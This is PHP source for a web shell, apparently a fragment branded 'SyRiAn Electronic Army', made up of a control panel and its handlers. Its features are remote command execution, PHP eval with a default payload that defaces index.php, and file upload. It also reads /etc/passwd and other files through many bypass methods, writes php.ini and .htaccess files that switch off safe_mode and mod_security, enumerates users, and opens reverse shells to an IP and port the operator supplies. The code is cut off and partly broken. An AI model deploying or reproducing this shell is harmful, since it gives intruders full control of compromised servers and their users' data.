
<tr>

<td>Oracle</td>

</tr>

<tr>

<td>Server IP</td>

<td><a href='http://bing.com/search?q=ip:<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>&go=&form=QBLH&filt=all' target='_blank'><u><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></u></a> [<a href="http://whois.webhosting.info/<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>" target='_blank' />Reverse IP]</td>

</tr>

<tr>

<td>PHP Version</td>

<td>MySQL</td>

</tr>

<tr>

<td>MySQLi</td>

</tr>

<tr>

<td>disable functions</td>

<td><select name="disableFunctions"><?php

$funArray = DisableFunctions();

$funArray = explode(",",$funArray);

sort($funArray);

foreach($funArray as $fun){echo "<option value='".$fun."'>".$fun."</option>";}

?></select>

</td>

<td>MsSQL</td>

</tr>

</table>

  [<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]

[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]

[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]

<br>

</form>

</table>

<?php

chdir($dir);

if($_POST['login'] || !$_POST){echo ScanDirs();}

else if($_POST['CMD_Execute']){if(empty($_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter($_POST['CMD_Line']))); }}

else if($_POST['PHP_Execute']){$eval = Evaluation(urldecode(filter($_POST['PHP_Line'])));}

else if($_POST['UPLOAD_Execute']) {

for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) {

if($_FILES['uploadfile']['name'][$i] != '') {

if(function_exists('copy')){$upload = copy($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}

else{$upload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}

if($upload) {echo "The File ".$_FILES['uploadfile']['name'][$i]." Uploaded Successfully !

"; }

else { echo "The File ".$_FILES['uploadfile']['name'][$i]." Can't Be Upload :( !

";}

}

else if($_POST['EDIT_Execute']){$content = htmlspecialchars(file_get_contents(filter($_POST['Edit_Line'])));echo $content;}

else if($_POST['SAVE_Execute']) {

$content = filter($_POST['result']);

if(empty($content)){$content = " ";}

if(GenerateFile($_POST['FILE_NAME'],$content)){echo "[+]Saved Success !! ";}else{echo "[-]Save Failed !";}

}

else if($_POST['READ_Execute']) {

$path = urldecode(filter($_POST['READ_Line']));

$file = fopen($path,'r+');

if($_POST['READ_Type'] == "file"){echo htmlspecialchars(filter(FileF($path))); }

else if($_POST['READ_Type'] == "fgets"){while(($line = htmlspecialchars(filter(fgets($file)))) != false){echo $line;}}

else if($_POST['READ_Type'] == "fgetss"){while(($line = htmlspecialchars(filter(fgetss($file)))) != false){echo $line;}}

else if($_POST['READ_Type'] == "readfile"){echo htmlspecialchars(filter(readfile($path)));}

else if($_POST['READ_Type'] == "fread"){echo htmlspecialchars(filter(fread($file,filesize($path))));}

else if($_POST['READ_Type'] == "file_get_contents"){echo htmlspecialchars(filter(file_get_contents($path)));}

else if($_POST['READ_Type'] == "tempnam"){echo htmlspecialchars(filter(TempnameF($path)));}

else if($_POST['READ_Type'] == "copy"){echo htmlspecialchars(filter(CopyF($path)));}

else if($_POST['READ_Type'] == "mb_send_mail"){echo htmlspecialchars(filter(mbSendEmail($path)));}

else if($_POST['READ_Type'] == "highlight_file"){echo htmlspecialchars(filter(highlightFile($path)));}

else if($_POST['READ_Type'] == "curl"){echo htmlspecialchars(filter(CurlFileRead($path)));}

else if($_POST['READ_Type'] == "imap"){echo htmlspecialchars(filter(ImapF($path)));}

else if($_POST['READ_Type'] == "id"){echo htmlspecialchars(filter(ReadId($path)));}

else if($_POST['READ_Type'] == "show_source"){echo htmlspecialchars(filter(show_source($path)));}

else if($_POST['READ_Type'] == "mysql"){echo htmlspecialchars(filter(MySQLReader($path)));}

else if($_POST['READ_Type'] == "mysqli"){echo htmlspecialchars(filter(MySQLIReader($path)));}

else if($_POST['READ_Type'] == "symlink"){echo htmlspecialchars(filter(SymlinkF($path)));}

else if($_POST['READ_Type'] == "ioncube"){echo htmlspecialchars(filter(ioncube_read_file($path)));}

else if($_POST['READ_Type'] == "error_log"){echo htmlspecialchars(filter(ErrorLog($path)));}

else if($_POST['READ_Type'] == "include"){echo htmlspecialchars(filter(IncludeReader($path)));}

}

else if($_POST['STOP_Execute']) {

$genTry = GenerateFile("php.ini","

safe_mode = Off

disable_functions = NONE

safe_mode_gid = OFF

open_basedir = OFF");

if($genTry){echo "[+] php.ini Has Been Generated Successfully

";}

else {echo "[-] Failed to generate php.ini file !!

";}

$genTry = GenerateFile(".htaccess","

SecFilterEngine Off

SecFilterScanPOST Off

SecFilterCheckURLEncoding Off

SecFilterCheckCookieFormat Off

SecFilterCheckUnicodeEncoding Off

SecFilterNormalizeCookies Off

</IfModule>

order deny,allow

deny from all

allow from all

</Limit>

order deny,allow

deny from all

</Limit>

SetEnv PHPRC ".getcwd()."/php.ini

");

if($genTry){echo "[+] .htaccess Has Been Generated Successfully

";}

else {echo "[-] Failed to generate .htaccess file !!

";}

}

else if($_POST['CON_Type'] == "socks") {

$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if($sock < 0){echo "[-] failed to create socket.";}

else {

$result = socket_connect($sock, filter(trim($_POST['ip'])), filter(trim($_POST['port'])));

if($result < 0){echo "[-] failed to connect back to host:".$_GET['host'];}

else {

$send_var = "\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$";

socket_write($sock, $send_var, strlen($send_var));

while($input = socket_read($sock, 10000)) {

socket_write($sock, shell_exec($input), 12000);

}

} else if($_POST['CON_Type'] == "fsockopen") {

$ip = filter(trim($_POST['ip']));

$port = filter(trim($_POST['port']));

if (!empty($ip)) {

$con_fsockopen = fsockopen($ip , $port , $errno, $errstr );

if (!$con_fsockopen){

$result = "Error: didnt connect !!!";

} else {

$newLine="\n";

fputs ($con_fsockopen ,"\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$");

fputs($con_fsockopen , system("uname -a") .$newLine );

fputs($con_fsockopen , system("pwd") .$newLine );

fputs($con_fsockopen , system("id") .$newLine.$newLine );

while(!feof($con_fsockopen)){

fputs ($con_fsockopen);

$one="[$";

$two="]";

$result= fgets ($con_fsockopen, 8192);

$message = $result;

fputs ($con_fsockopen, $one. system("whoami") .$two. " " .$message."\n");

}

fclose ($con_fsockopen);

}

else if($_POST['USERS_1']){echo GetUsers1();}

else if($_POST['USERS_2']) {

$array = GetUsers2();

foreach($array as $line)

{echo $line."

";}

}

else if($_POST['USERS_3']) {

$array = GetUsers3();

foreach($array as $line)

{echo $line."

";}

}

else if($_POST['USERS_4']) {

$array = GetUsers4();

foreach($array as $line)

{echo $line."

";}

} else if($_POST['USERS_5']){echo GetUsers5();}

else if($_POST['forbidden_bypass']) {

mkdir("forbidden");

chdir("forbidden");

$forbidden_htaccess = GenerateFile(".htaccess", "

DirectoryIndex sea.txt

HeaderName sea.txt

ReadmeName sea.txt

footerName sea.txt

ErrorDocument 404 /404.html

404.html = Symlinked sea.txt

Options all

ForceType text/plain

AddType text/plain .php

AddType text/plain .html

AddHandler server-parsed .php

AddHandler txt .php

");

if($forbidden_htaccess) {

echo "[+] make your symlink as sea.txt in /forbidden/ folder and find the url /forbidden/sea.txt or /forbidden/";

} else {

echo "[-] error with generating .htaccess file.";

}

} else if($_POST['find_755']) {

Exe("ls -dl /home/*/public_html/ | grep drwxr-xr-x");

}

?></textarea>

<?php

if($_POST['EDIT_Execute']){echo "<input type='submit' value='Save' name='SAVE_Execute' class='Save' />

";}

</center></form>

<tr>

<td style="background-color:#666;padding-left:10px;">Edit File

</tr>

<tr>

</tr>

</table>

</form>

</td>

<tr>

<td style="background-color:#666;padding-left:10px;">Command Line

<?php echo print_exe_method(); ?>

</td>

</tr>

<tr>

<?php echo SelectCommand($os); ?>

</tr>

</table>

</form>

</td>

<tr>

<td style="background-color:#666;padding-left:10px;">Upload Files <span style="padding-left:10px;">

</span></td>

</tr>

<tr>

</tr>

</table>

</form>

</td>

</tr>

<tr>

<td style="background-color:#666;padding-left:10px;">PHP Eval

</tr>

<tr>

<textarea name="PHP_Line" id="PHP_Line" cols="50" rows="2"><?php if($_POST['PHP_Execute']){echo urldecode(filter($_POST['PHP_Line']));}else {echo '$file = fopen("index.php","w+");

fwrite($file,"Hacked");

fclose($file);';}

</textarea>

</tr>

</table>

</form>

</td>

<tr>

<td style="background-color:#666;padding-left:10px;">Read Files

<option value="fgets" >fgets</option>

<option value="fgetss" >fgetss</option>

<option value="readfile" >readfile</option>

<option value="fread" >fread</option>

<option value="show_source" >show_source</option>

<option value="file_get_contents" >file_get_contents</option>

<option value="tempnam" >tempnam</option>

<option value="symlink" >Symlink</option>

<option value="highlight_file" >highlight_file</option>

<option value="mysql" >MySQL</option>

<option value="mysqli" >MySQLI</option>

<option value="error_log">Error_Log</option>

<option value="include">Include</option>

<option value="id" >ID /etc/passwd</option>

</select>

</tr>

<tr>

</tr>

</table>

</form>

</td>

<tr>

<td style="background-color:#666;padding-left:10px;">Back Connection

</tr>

<tr>

<option value="socks">SOCKS</option>

<option value="fsockopen">FSOCKOPEN</option>

</select>

</td>

</tr>

</table>

</form>

</td>

</tr>

</table>

<?php

function IncludeReader($path) {

global $os;

if($os == "Windows"){$slash = "\\";}else{$slash = "/";}

$fileName = substr(strrchr($path,$slash),1);

$includePath = substr($path,0,strpos($path,$fileName,0));

ini_set("include_path",$includePath);

include($fileName);

}

function GetUsers1() {

return Exe('ls /var/mail');

}

function GetUsers2() {

$array = array();

$lines = file("/etc/passwd");

foreach($lines as $nr=>$val) {

$str = explode(":",$val);

array_push($array,$str[0]);

}

return $array;

}

function GetUsers3() {

$array = array();

if ($dh = opendir("/home/")) {

while (($file = readdir($dh)) !== false) {

array_push($array,$file);

}

closedir($dh);

return $array;

}

function GetUsers4() {

$dir = "/home/";

$array = array();

if ($dh = opendir($dir)) {

$f = readdir($dh);

while (($f = readdir($dh)) !== false) {

$dh2=opendir($dir."/");

$f2 = readdir($dh2);

while (($f2 = readdir($dh2)) !== false) {

$f2.="/";

$dh3=opendir($dir.$f.$f2);

$f3 = readdir($dh3);

while (($f3 = readdir($dh3)) !== false) {

array_push($array,$f3);

}

closedir($dh);

return $array;

}

function GetUsers5(){

return realpath('/etc/passwd');

}

function ErrorLog($path){

$tempFile =

Archives